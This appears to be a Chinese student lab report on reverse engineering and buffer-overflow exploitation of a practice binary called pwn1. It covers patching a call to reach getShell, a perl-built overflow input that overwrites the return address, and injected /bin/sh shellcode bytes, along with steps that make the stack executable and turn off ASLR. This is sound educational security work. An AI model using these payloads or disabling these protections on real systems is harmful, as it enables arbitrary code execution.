Exp1 PC平台逆向破解

1. 逆向及Bof基础实践

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下

• 手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
• 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
• 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

• 运行原本不可访问的代码片段
• 强行修改程序执行流
• 以及注入运行任意代码。

1.2 直接修改程序机器指令，改变程序执行流程

1.2.1 常见汇编指令

命令类指令

 MOV----> move                    传送字或字节
 PUSH---->push                    把字压入堆栈
 POP---->pop                      把字弹出堆栈
 

程序转移指令 ---无条件转移指令(长转移)

JMP---->jump                      无条件转移指令
CALL---->call                     过程调用
RET---->return                    过程返回
RETF---->return far               过程返回

1.2.2直接修改程序机器指令，改变程序执行流程

首先，利用objdump -d pwn1指令对pwn1进行反汇编，从图中可以看到核心代码。

从main函数中看到程序调用了位于地址8048491处的foo函数，还可以看到存在一个getshell函数，这就是我们要跳转的目标。

main函数调用foo对应的机器指令为e8 d7 ff ff ff。其中e8是跳转的意思，此时此刻EIP的值是下条指令的地址：80484ba,这时CPU会执行EIP+d7ffffff指令，d7ffffff是补码。则80484ba +d7ffffff= 0x80484ba-0x29=0x8048491，这与后面call 8048491<foo>正好对应。

所以我们的目标是修改机器指令，让它调用getshell，即计算0x0804847d-0x0x8048491=-3D。计算补码为11000011=c3。之后利用vim修改机器指令。

1.2.3通过构造输入参数，造成BOF攻击，改变程序执行流

利用gdb确定输入字符串哪几个字符会覆盖到返回地址，经过尝试发现eip 0x35353535 0x35353535 ，对应数字5，再输入确定堆栈的状态。

这时发现eip中显示0x34333231，则 1234 那四个数最终会覆盖到堆栈上的返回地址，。所以只要把这四个字符替换为 getShell 的内存地址，输给pwn2，pwn2就会运行getShell。

我们已经知道getshell内存地址为0804847d，反汇编输入11111111222222223333333344444444\x7d\x84\x04\x08。

因为没法通过键盘直接输入16进制数值，所以利用perl。

 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

其中\x0a表示回车。生成input文件，之后将input作为输入，(cat input; cat) | ./pwn2,之后就能运行指令了。

1.2.4. 注入Shellcode并执行

准备一段Shellcode。

要注意的是，堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上，也执行不了。输入命令 execstack -s pwn2设置堆栈可执行。
通过execstack -q pwn2查看堆栈是否可执行。

shellcode中需要猜测返回地址的位置，需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实：应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR，地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。使用more /proc/sys/kernel/randomize_va_space命令查看是否开启地址随机化。

其中

• 0表示关闭进程地址空间随机化。
• 1表示将mmap的基址，stack和vdso页面随机化。
• 2表示在1的基础上增加栈（heap）的随机化。

使用echo "0" > /proc/sys/kernel/randomize_va_space命令关闭进程地址空间随机化。

Linux构造buf的两种方法

• retaddr+nop+shellcode
• nop+shellcode+retaddr // 缓冲区足够大

经过尝试，只能使用retaddr+nop+shellcode构造。
使用命令perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode,构造输入。

前面的32个A用来填满buffer，\x04\x03\x02\x01为预留的返回地址，剩下部分为shellcode。

查看pid，并用gdb在foo函数的ret位置设置断点，在运行窗口敲回车，回到gdb查看esp寄存器，可知地址应为0xffffd330，修改input文件预留的地址。

成功。